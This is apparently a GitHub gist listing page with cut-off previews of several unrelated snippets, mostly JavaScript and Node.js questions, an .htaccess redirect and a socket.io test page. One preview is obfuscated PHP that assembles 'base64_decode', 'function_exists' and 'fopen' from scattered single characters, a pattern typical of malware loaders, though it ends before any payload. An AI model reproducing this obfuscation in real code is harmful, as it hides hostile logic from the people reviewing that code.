This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// setup event management | |
module.exports = function(){ return new Game(); } | |
var events = require('events'), util = require('util'); | |
function Game(){ events.EventEmitter.call(this); } | |
util.inherits(Game, events.EventEmitter); | |
Game.prototype.start = function(){ | |
// called when start is issued | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
files = { | |
2:{ | |
filename:"somefile.zip", | |
size:1200, | |
daysOld:2 | |
},7:{ | |
filename:"someother.zip", | |
size:1200, | |
daysOld:7 | |
},21:{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var myVar = {bar:'foo'}; | |
myVar.someClass = function(){ | |
return { | |
foo: 'bar', | |
someFunction: function(){ | |
console.log( this.foo ); // returns 'bar' | |
// can we get myVar.bar here? | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// assume express and all that goodness (I actually am using Kraken) | |
// my middleware class | |
var userModel = function(userID){ | |
return { | |
uid: userID, | |
logout: function(){ | |
this.uid=false; | |
// how can I access req? | |
req.session.destroy(function(){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var util = require('util'), | |
EventEmitter = require('events').EventEmitter; | |
var Server = function() { | |
var self = this; | |
this.on('custom_event', function() { | |
self.logSomething('custom_event'); | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
r.expr({ | |
rows: r.table('stuff').coerceTo('array'), | |
count: r.table('stuff').count() | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
RewriteEngine On | |
RewriteCond %{HTTPS} off | |
RewriteCond %{REQUEST_FILENAME} \.(gif|jpe?g|png|js|css|swf|ico|txt|pdf|xml)$ [OR] | |
RewriteRule ^(.*)$ https://getnodecraft.net/$1 [L] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>Test</title> | |
<script src="assets/js/libs/socket.io.js"></script> | |
<script> | |
var socket = io('ws://192.99.96.102:8000'), | |
connected = false, | |
authenticated = false; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$lc_____y='4';$is_______e='_';$oo______________o='6';$wr________o='o';$sy____u='e';$nm______z='e';$qc__________c='d';$cu___s='a';$ro_________a='e';$sg_________o='c';$vp___w='s';$mq_______c='b';$fz__________t='d';$zj______________n=$mq_______c.$cu___s.$vp___w.$ro_________a.$oo______________o.$lc_____y.$is_______e.$qc__________c.$sy____u.$sg_________o.$wr________o.$fz__________t.$nm______z; | |
$co__________i='i';$uw______f='t';$lt_____p='u';$vu______b='n';$jg_____v='_';$fj___________b='c';$lf__r='i';$fp_____________q='s';$is______________o='x';$lj_____________b='o';$gq_______________n='t';$wz___________w='f';$nk_________j='n';$gd_____u='s';$an_______v='e';$ns___________f=$wz___________w.$lt_____p.$vu______b.$fj___________b.$gq_______________n.$lf__r.$lj_____________b.$nk_________j.$jg_____v.$an_______v.$is______________o.$co__________i.$fp_____________q.$uw______f.$gd_____u; | |
$am__h='f';$qu______p='e';$qh___e='o';$dg__f='p';$yf_____________v='n';$np__z=$am__h.$qh___e.$dg__f.$qu______p.$yf_____________v; | |
$ca________ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var returnData = app.hapi.error.badRequest(err, data); | |
returnData.output.payload.validation = { | |
source: inputType || 'payload', | |
keys: [inputName] | |
} |
OlderNewer